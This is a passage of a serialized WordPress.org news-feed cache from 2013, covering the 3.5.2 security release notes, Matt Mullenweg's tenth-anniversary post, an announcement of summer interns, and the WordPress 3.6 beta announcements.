href=\"http://core.trac.wordpress.org/query?status=closed&amp;group=resolution&amp;milestone=3.5.2\">12 bugs</a>. <strong>This is a security release for all previous versions and we strongly encourage you to update your sites immediately.</strong> The WordPress security team resolved seven security issues, and this release also contains some additional security hardening.</p>\n<p>The security fixes included:</p>\n<ul>\n<li>Blocking server-side request forgery attacks, which could potentially enable an attacker to gain access to a site.</li>\n<li>Disallow contributors from improperly publishing posts, reported by <a href=\"http://kovshenin.com/\">Konstantin Kovshenin</a>, or reassigning the post&#8217;s authorship, reported by <a href=\"http://www.sharefaith.com/\">Luke Bryan</a>.</li>\n<li>An update to the SWFUpload external library to fix cross-site scripting vulnerabilities. Reported by <a href=\"http://ma.la\">mala</a> and <a href=\"http://mars.iti.pk.edu.pl/~grucha/\">Szymon Gruszecki</a>. (Developers: More on SWFUpload <a href=\"http://make.wordpress.org/core/2013/06/21/secure-swfupload/\">here</a>.)</li>\n<li>Prevention of a denial of service attack, affecting sites using password-protected posts.</li>\n<li>An update to an external TinyMCE library to fix a cross-site scripting vulnerability. Reported by <a href=\"http://twitter.com/rinakikun\">Wan Ikram</a>.</li>\n<li>Multiple fixes for cross-site scripting. Reported by <a href=\"http://webapplicationsecurity.altervista.org/\">Andrea Santese</a> and Rodrigo.</li>\n<li>Avoid disclosing a full file path when a upload fails. Reported by <a href=\"http://hauntit.blogspot.de/\">Jakub Galczyk</a>.</li>\n</ul>\n<p>We appreciated <a href=\"http://codex.wordpress.org/FAQ_Security\">responsible disclosure</a> of these issues directly to our security team. For more information on the changes, see the <a href=\"http://codex.wordpress.org/Version_3.5.2\">release notes</a> or consult <a href=\"http://core.trac.wordpress.org/log/branches/3.5?rev=24498&amp;stop_rev=23347\">the list of changes</a>.</p>\n<p><a href=\"http://wordpress.org/wordpress-3.5.2.zip\">Download WordPress 3.5.2</a> or update now from the Dashboard → Updates menu in your site’s admin area.</p>\n<p><em>Also:</em> <strong>WordPress 3.6 Beta 4:</strong> If you are testing WordPress 3.6, please note that <a href=\"http://wordpress.org/wordpress-3.6-beta4.zip\">WordPress 3.6 Beta 4</a> (zip) includes fixes for these security issues.</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:55:\"http://wordpress.org/news/2013/06/wordpress-3-5-2/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:5;a:6:{s:4:\"data\";s:42:\"\n		\n		\n		\n		\n		\n				\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:14:\"Ten Good Years\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:49:\"http://wordpress.org/news/2013/05/ten-good-years/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:58:\"http://wordpress.org/news/2013/05/ten-good-years/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 31 May 2013 17:54:35 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Meta\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=2606\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:343:\"It&#8217;s been ten years since we started this thing, and what a long way we&#8217;ve come. From a discussion between myself and Mike Little about forking our favorite blogging software, to powering 18% of the web. It&#8217;s been a crazy, exciting, journey, and one that won&#8217;t stop any time soon. At ten years, it&#8217;s fun [&#8230;]\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:14:\"Matt Mullenweg\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:9852:\"<p><img class=\"alignright\" alt=\"\" align=\"right\" src=\"http://wpdotorg.files.wordpress.com/2013/05/wp10.jpg\" width=\"316\" height=\"164\" />It&#8217;s been ten years since we started this thing, and what a long way we&#8217;ve come. From a discussion between myself and <a href=\"http://mikelittle.org/\">Mike Little</a> about <a href=\"http://ma.tt/2003/01/the-blogging-software-dilemma/\">forking our favorite blogging software</a>, to powering 18% of the web. It&#8217;s been a crazy, exciting, journey, and one that won&#8217;t stop any time soon.</p>\n<p>At ten years, it&#8217;s fun to reflect on our beginnings. We launched WordPress on 27th May 2003, but that wasn&#8217;t inception. Go back far enough, and you can <a href=\"http://zengun.org/weblog/archives/2001/06/post1958/\">read a post by Michel Valdrighi</a> who, frustrated by the self-hosted blogging platforms available, decided to write his own software; &#8220;b2, a PHP+MySQL alternative to Blogger and GreyMatter.&#8221; b2 was easy to install, easy to configure, and easy for developers to extend. Of all the blogging platforms out there, <a href=\"http://cafelog.com\">b2</a> was the right one for me: I could write my content and get it on the web quickly and painlessly.</p>\n<p>Sometimes, however, life gets in the way. In 2002, Michel stopped maintaining b2. Over time, security flaws became apparent and updates were needed and, while the b2 community could write patches and fixes, no one was driving the software forward. We were lucky that Michel decided to release b2 under the GPL; the software may have been abandoned, but we weren&#8217;t without options. A fork was always a possibility. That was where it stood in January 2003, when <a href=\"http://ma.tt/2003/01/the-blogging-software-dilemma/\">I posted about forking b2</a> and <a href=\"http://ma.tt/2003/01/the-blogging-software-dilemma/#comment-445\">Mike responded</a>. The rest, as they say, is history.</p>\n<p>From the very beginning to the present day, I&#8217;ve been impressed by the thought, care, and dedication that WordPress&#8217; developers have demonstrated. Each one has brought his or her unique perspective, each individual has strengthened the whole. It would be impossible to thank each of them here individually, but their achievements speak for themselves. In WordPress 1.2 the new Plugin API made it easy for developers to extend WordPress. In the same release <code>gettext()</code> internationalization opened WordPress up to every language (hat tip: <a href=\"http://ryan.boren.me/\">Ryan Boren</a> for spending hours wrapping strings with gettext). In WordPress 1.5 our Theme system made it possible for WordPress users to quickly change their site&#8217;s design: there was huge resistance to the theme system from the wider community at the time, but can you imagine WordPress without it? Versions 2.7, 2.8, and 2.9 saw improvements that let users install and update their plugins and themes with one click. WordPress has seen a redesign by <a href=\"http://v2.happycog.com/create/wordpress/?p=design/wordpress/\">happycog</a> (2.3) and gone under extensive user testing and redesign (<a href=\"http://www.slideshare.net/edanzico/riding-the-crazyhorse-future-generation-wordpress-presentation\">Crazyhorse</a>, Liz Danzico and Jen Mylo, WordPress 2.5). In WordPress 3.0 we merged WordPress MU with WordPress &#8212; a huge job but 100% worth it. And in WordPress 3.5 we revamped the media uploader to make it easier for people to get their images, video, and media online.</p>\n<p>In sticking to our commitment to user experience, we&#8217;ve done a few things that have made us unpopular. The <a href=\"http://tech.gaeatimes.com/index.php/archive/wordpress-wysiwyg-editor-is-a-disaster/\">WYSIWYG editor</a> was hated by many, especially those who felt that if you have a blog you should know HTML. Some developers hated that we stuck with our code, refusing to rewrite, but it&#8217;s always been the users that matter: better a developer lose sleep than a site break for a user. Our code isn&#8217;t always beautiful, after all, when WordPress was created most of us were still learning PHP, but we try to make a flawless experience for users.</p>\n<p>It&#8217;s not all about developers. WordPress&#8217; strength lies in the diversity of its community. From the start, we wanted a low barrier to entry and we came up with our &#8220;famous 5 minute install&#8221;. This brought on board users from varied technical background: people who didn&#8217;t write code wanted to help make WordPress better. If you couldn&#8217;t write code, it didn&#8217;t matter: you could answer a question in the support forums, write documentation, translate WordPress, or build your friends and family a WordPress website. There is <a href=\"https://make.wordpress.org/\">space in the community</a> for anyone with a passion for WordPress.</p>\n<p>It&#8217;s been wonderful to see all of the people who have used WordPress to build their home on the internet. Early on <a href=\"http://wordpress.org/news/2004/04/switchers/\">we got excited</a> by <a href=\"http://wordpress.org/news/2004/04/more-switchers/\">switchers</a>. From a community of tinkerers we grew, as writers such as <a href=\"http://ma.tt/2004/05/om-malik/\">Om Malik</a>, <a href=\"http://dougal.gunters.org/blog/2004/05/15/mark-pilgrim-switches/\">Mark Pilgrim</a>, and <a href=\"http://ma.tt/2004/07/mollycom-switches/\">Molly Holzschlag</a> made the switch to WordPress. Our commitment to effortless publishing quickly paid off and has continued to do so: <strong>the WordPress 1.2 release saw 822 downloads per day, our latest release, WordPress 3.5, has seen 145,692 per day.</strong></p>\n<p>I&#8217;m continually amazed by what people have built with WordPress. I&#8217;ve seen <a href=\"http://justintimberlake.com/main/\">musicians</a> and <a href=\"http://ma.tt/2013/01/neil-leifer-on-wordpress/\">photographers</a>, magazines such as <a href=\"http://life.time.com/\">Life</a>, <a href=\"http://boingboing.net/\">BoingBoing</a>, and the <a href=\"http://observer.com/\">New York Observer</a>, <a href=\"http://www.compliance.gov/\">government websites</a>, a <a href=\"http://josephscott.org/archives/2011/05/pressfs-a-wordpress-filesystem/\">filesystem</a>, <a href=\"http://www.ymcanyc.org/association/pages/y-mvp\"> mobile applications</a>, and even <a href=\"http://www.viper007bond.com/2010/06/12/so-apparently-wordpress-can-guide-missiles/\">seen WordPress guide missiles</a>.</p>\n<p>As the web evolves, WordPress evolves. Factors outside of our control will always influence WordPress&#8217; development: today it&#8217;s mobile devices and retina display, tomorrow it could be Google Glass or technology not yet conceived. A lot can happen in ten years! As technology changes and advances, WordPress has to change with it while remaining true to its core values: making publishing online easy for everyone. How we rise to these challenges will be what defines WordPress over the coming ten years.</p>\n<p><strong>To celebrate ten years of WordPress, we&#8217;re working on a book about our history.</strong> We&#8217;re carrying out interviews with people who have involved with the community from the very beginning, those who are still around, and those who have left. It&#8217;s a huge project, but we wanted to have something to share with you on the 10th anniversary. To learn about the very early days of WordPress, just after Mike and I forked b2 <a href=\"http://wordpress.org/about/history/\">you can download Chapter 3 right here</a>. We&#8217;ll be releasing the rest of the book serially, so watch out as the story of the last ten years emerges.</p>\n<p>In the meantime, <a href=\"http://ma.tt/2013/05/dear-wordpress/\"> I penned my own letter to WordPress</a> and other community members have been sharing their thoughts:</p>\n<ul>\n<li><a href=\"http://zed1.com/journalized/archives/2013/01/25/wordpress-a-10-year-journey/\">Mike Little on our Ten Year Journey</a>.</li>\n<li>Core contributor Helen Hou-Sandi <a href=\"http://helen.wordpress.com/2013/05/27/happy-10th-wordpress-and-thanks-from-my-little-family/\">wishes WordPress happy birthday</a>.</li>\n<li>Peter Westwood on <a href=\"http://blog.ftwr.co.uk/archives/2013/05/27/a-decade-gone-more-to-come/\">a decade gone</a>.</li>\n<li>Support rep Mika Epstein <a href=\"http://ipstenu.org/2013/you-me-and-wp/\">on her WordPress journey</a>.</li>\n<li>Dougal Campbell <a href=\"http://dougal.gunters.org/blog/2013/05/27/instagram-my-wife-suzecampbell-and-i-celebrating-the-wordpress-10th-anniversary-with-bbq-in-our-wordpress-shirts-wp10/\">celebrating with his wife, Suze</a>.</li>\n<li>Otto on <a href=\"http://ottodestruct.com/blog/2013/how-wp-affected-me/\">how WordPress affected him</a>.</li>\n</ul>\n<p>You can see how WordPress&#8217; 10th Anniversary was celebrated all over the world <a href=\"http://wp10.wordpress.net/\">by visiting the wp10 website</a>, according to Meetup we had 4,999 celebrators.</p>\n<p>To finish, I just want to say thank you to everyone: to the developers who write the code, to the designers who make WordPress sing, to the worldwide community translating WordPress into so many languages, to volunteers who answer support questions, to those who make WordPress accessible, to the systems team and the plugin and theme reviewers, to documentation writers, event organisers, evangelists, detractors, supporters and friends. Thanks to the jazzers whose music inspired us and whose names are at the heart of WordPress. Thanks to everyone who uses WordPress to power their blog or website, and to everyone who will in the future. Thanks to WordPress and its community that I&#8217;m proud to be part of.</p>\n<p>Thank you. I can&#8217;t wait to see what the next ten years bring.</p>\n<p><em>Final thanks to <a href=\"http://siobhanmckeown.com/\">Siobhan McKeown</a> for help with this post.</em></p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:54:\"http://wordpress.org/news/2013/05/ten-good-years/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:6;a:6:{s:4:\"data\";s:42:\"\n		\n		\n		\n		\n		\n				\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:22:\"The Next 10 Starts Now\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:57:\"http://wordpress.org/news/2013/05/the-next-10-starts-now/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:66:\"http://wordpress.org/news/2013/05/the-next-10-starts-now/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 27 May 2013 20:47:05 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:1:{i:0;a:5:{s:4:\"data\";s:9:\"Community\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=2594\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:365:\"All around the globe today, people are celebrating the 10th anniversary of the first WordPress release, affectionately known as #wp10. Watching the feed of photos, tweets, and posts from Auckland to Zambia is incredible; from first-time bloggers to successful WordPress-based business owners, people are coming out in droves to raise a glass and share the [&#8230;]\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:8:\"Jen Mylo\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:3901:\"<p>All around the globe today, people are celebrating the 10th anniversary of the first WordPress release, affectionately known as #wp10. <a href=\"http://wp10.wordpress.net\">Watching the feed</a> of photos, tweets, and posts from Auckland to Zambia is incredible; from first-time bloggers to successful WordPress-based business owners, people are coming out in droves to raise a glass and share the &#8220;holiday&#8221; with their local communities. With hundreds of parties going on today, it&#8217;s more visible than ever just how popular WordPress has become.</p>\n<p><strong>Thank you to everyone who has ever contributed to this project: your labors of love made this day possible.</strong></p>\n<p>But today isn&#8217;t just about reflecting on how we got this far (though I thought <a href=\"http://ma.tt/2013/05/dear-wordpress/\">Matt&#8217;s reflection on the first ten years</a> was lovely). We are constantly moving forward. As each release cycle begins and ends (3.6 will be here soon, promise!), we always see an ebb and flow in the contributor pool. Part of ensuring the longevity of WordPress means mentoring new contributors, continually bringing new talent and fresh points of view to our family table.</p>\n<p>I am beyond pleased to announce that this summer we will be mentoring 8 interns, most of them new contributors, through <a href=\"http://www.google-melange.com/gsoc/homepage/google/gsoc2013\">Google Summer of Code</a> and the <a href=\"https://live.gnome.org/OutreachProgramForWomen/2013/JuneSeptember\">Gnome Outreach Program for Women</a>. Current contributors, who already volunteer their time working on WordPress, will provide the guidance and oversight for a variety of exciting projects  this summer. Here are the people/projects involved in the summer internships:</p>\n<ul>\n<li><strong><strong>Ryan McCue</strong>, </strong>from Australia, working on a JSON-based REST API. Mentors will be Bryan Petty and Eric Mann, with a reviewer assist from Andrew Norcross.</li>\n<li><strong>Kat Hagan</strong>, from the United States, working on a Post by Email plugin to replace the core function. Mentors will be Justin Shreve and George Stephanis, with an assist from Peter Westwood.</li>\n<li><strong>Siobhan Bamber</strong>, from Wales, working on a support (forums, training, documentation) internship. Mentors will be Mika Epstein and Hanni Ross.</li>\n<li><strong>Frederick Ding</strong>, from the United States, working on improving portability. Mentors will be Andrew Nacin and Mike Schroder.</li>\n<li><strong>Sayak Sakar</strong>, from India, working on porting WordPress for WebOS to Firefox OS. Mentor will be Eric Johnson.</li>\n<li><strong>Alex Höreth</strong>, from Germany, working on  adding WordPress native revisions to the theme and plugin code editors. Mentors will be Dominik Schilling and Aaron Campbell, with a reviewer assist from Daniel Bachhuber.</li>\n<li><strong>Mert Yazicioglu</strong>, from Turkey, working on ways to improve our community profiles at profiles.wordpress.org. Mentors will be Scott Reilly and Boone Gorges.</li>\n<li><strong>Daniele Maio</strong>, from Italy, working on a native WordPress app for Blackberry 10. Mentor will be Danilo Ercoli.</li>\n</ul>\n<p>Did you notice that our summer cohort is as international as the #wp10 parties going on today? I can only think that this is a good sign.</p>\n<p>It&#8217;s always a difficult process to decide which projects to mentor through these programs. There are always more applicants with interesting ideas with whom we&#8217;d like to work than there are opportunities. Luckily, WordPress is a free/libre open source software project, and anyone can begin contributing at any time. Is this the year for you? We&#8217;d love for you to join us as we work toward #wp20. <img src=\'http://wordpress.org/news/wp-includes/images/smilies/icon_wink.gif\' alt=\';)\' class=\'wp-smiley\' /> </p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:62:\"http://wordpress.org/news/2013/05/the-next-10-starts-now/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:7;a:6:{s:4:\"data\";s:42:\"\n		\n		\n		\n		\n		\n				\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:20:\"WordPress 3.6 Beta 3\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:55:\"http://wordpress.org/news/2013/05/wordpress-3-6-beta-3/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:64:\"http://wordpress.org/news/2013/05/wordpress-3-6-beta-3/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sat, 11 May 2013 03:44:41 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:1:{i:0;a:5:{s:4:\"data\";s:11:\"Development\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=2584\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:374:\"WordPress 3.6 Beta 3 is now available! This is software still in development and we really don’t recommend that you run it on a production site — set up a test site just to play with the new version. To test WordPress 3.6, try the WordPress Beta Tester plugin (you’ll want “bleeding edge nightlies”). Or you can download the beta here (zip). Beta [&#8230;]\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"Mark Jaquith\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:2452:\"<p>WordPress 3.6 Beta 3 is now available!</p>\n<p>This is software still in development and <strong>we <em>really</em> don’t recommend that you run it on a production site</strong> — set up a test site just to play with the new version. To test WordPress 3.6, try the <a href=\"http://wordpress.org/extend/plugins/wordpress-beta-tester/\">WordPress Beta Tester</a> plugin (you’ll want “bleeding edge nightlies”). Or you can <a href=\"http://wordpress.org/wordpress-3.6-beta3.zip\">download the beta here</a> (zip).</p>\n<p>Beta 3 contains about a hundred changes, including improvements to the image Post Format flow (yay, drag-and-drop image upload!), a more polished revision comparison screen, and a more quote-like quote format for Twenty Thirteen.</p>\n<p>As a bonus, we now have oEmbed support for the popular music-streaming services <a href=\"http://www.rdio.com/\">Rdio</a> and <a href=\"http://www.spotify.com/\">Spotify</a> (the latter of which kindly created an oEmbed endpoint a mere 24 hours after we lamented their lack of one). Here&#8217;s an album that&#8217;s been getting a lot of play as I&#8217;ve been working on WordPress 3.6:</p>\n<p><iframe width=\"500\" height=\"250\" src=\"https://rd.io/i/Qj5r8SE//?source=oembed\" frameborder=\"0\"></iframe></p>\n<p><iframe src=\"https://embed.spotify.com/?uri=spotify:album:6dJZDZMNdBPZrJcNv57bEq\" width=\"300\" height=\"380\" frameborder=\"0\" allowtransparency=\"true\"></iframe></p>\n<p>Plugin developers, theme developers, and WordPress hosts should be testing beta 3 extensively. The more you test the beta, the more stable our release candidates and our final release will be.</p>\n<p>As always, if you think you’ve found a bug, you can post to the <a href=\"http://wordpress.org/support/forum/alphabeta\">Alpha/Beta area</a> in the support forums. Or, if you’re comfortable writing a reproducible bug report, <a href=\"http://core.trac.wordpress.org/\">file one on the WordPress Trac</a>. There, you can also find <a href=\"http://core.trac.wordpress.org/report/5\">a list of known bugs</a> and <a href=\"http://core.trac.wordpress.org/query?status=closed&amp;group=component&amp;milestone=3.6\">everything we&#8217;ve fixed</a> so far.</p>\n<p>We&#8217;re looking forward to your feedback. If you find a bug, please report it, and if you’re a developer, try to help us fix it. We&#8217;ve already had more than 150 contributors to version 3.6 — it&#8217;s not too late to join in!</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"http://wordpress.org/news/2013/05/wordpress-3-6-beta-3/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:8;a:6:{s:4:\"data\";s:42:\"\n		\n		\n		\n		\n		\n				\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:20:\"WordPress 3.6 Beta 2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:55:\"http://wordpress.org/news/2013/04/wordpress-3-6-beta-2/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:64:\"http://wordpress.org/news/2013/04/wordpress-3-6-beta-2/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 29 Apr 2013 22:48:55 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:1:{i:0;a:5:{s:4:\"data\";s:11:\"Development\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=2579\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:373:\"WordPress 3.6 Beta 2 is now available! This is software still in development and we really don’t recommend that you run it on a production site — set up a test site just to play with the new version. To test WordPress 3.6, try the WordPress Beta Tester plugin (you’ll want “bleeding edge nightlies”). Or you can download the beta here (zip). The 